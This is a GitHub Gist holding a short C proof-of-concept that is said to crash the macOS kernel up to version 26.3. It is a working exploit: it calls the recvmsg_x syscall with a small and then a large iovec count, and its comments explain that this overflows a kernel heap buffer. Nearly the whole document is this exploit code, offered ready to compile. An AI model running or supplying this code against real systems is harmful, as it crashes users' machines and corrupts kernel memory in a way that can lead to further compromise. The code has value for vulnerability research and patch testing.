Created
February 18, 2026 10:42
-
-
Save itewqq/02e71b0d5bcfcf91f0590283af5692cd to your computer and use it in GitHub Desktop.
A simple PoC that will just crash macOS kernel up to 26.3
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #define _GNU_SOURCE | |
| #include <sys/types.h> | |
| #include <sys/socket.h> | |
| #include <sys/uio.h> | |
| #include <sys/syscall.h> | |
| #include <unistd.h> | |
| #include <stdlib.h> | |
| #include <stdio.h> | |
| #include <string.h> | |
| #include <errno.h> | |
| #ifndef SYS_recvmsg_x | |
| #define SYS_recvmsg_x 480 | |
| #endif | |
| // Definition of msghdr_x used by recvmsg_x | |
| struct msghdr_x { | |
| void *msg_name; | |
| socklen_t msg_namelen; | |
| struct iovec *msg_iov; | |
| int msg_iovlen; | |
| void *msg_control; | |
| socklen_t msg_controllen; | |
| int msg_flags; | |
| size_t msg_datalen; | |
| }; | |
| int main() { | |
| int sv[2]; | |
| if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sv) < 0) { | |
| perror("socketpair"); | |
| return 1; | |
| } | |
| // Send two messages to the socket | |
| char *data1 = "A"; | |
| if (send(sv[1], data1, 1, 0) < 0) { | |
| perror("send 1"); | |
| return 1; | |
| } | |
| char *data2 = "B"; | |
| if (send(sv[1], data2, 1, 0) < 0) { | |
| perror("send 2"); | |
| return 1; | |
| } | |
| // Prepare msghdr_x array for recvmsg_x | |
| struct msghdr_x msgp[2]; | |
| memset(msgp, 0, sizeof(msgp)); | |
| // Message 1: Small iovlen (1) | |
| struct iovec iov1[1]; | |
| char buf1[16]; | |
| iov1[0].iov_base = buf1; | |
| iov1[0].iov_len = sizeof(buf1); | |
| msgp[0].msg_iov = iov1; | |
| msgp[0].msg_iovlen = 1; | |
| // Message 2: Large iovlen (20) | |
| // This will trigger the bug: | |
| // Kernel allocates uio for 1 iovec (from msg 1). | |
| // Then reuses it for msg 2 because (1 <= 20) in the buggy check. | |
| // Then copies 20 iovecs into the space for 1. | |
| struct iovec iov2[20]; | |
| char buf2[16]; | |
| for (int i = 0; i < 20; i++) { | |
| iov2[i].iov_base = buf2; | |
| iov2[i].iov_len = sizeof(buf2); | |
| } | |
| msgp[1].msg_iov = iov2; | |
| msgp[1].msg_iovlen = 20; | |
| printf("Triggering recvmsg_x heap overflow...\n"); | |
| // syscall(SYS_recvmsg_x, s, msgp, cnt, flags) | |
| int res = syscall(SYS_recvmsg_x, sv[0], msgp, 2, 0); | |
| if (res < 0) { | |
| perror("recvmsg_x"); | |
| } else { | |
| printf("recvmsg_x returned %d\n", res); | |
| } | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment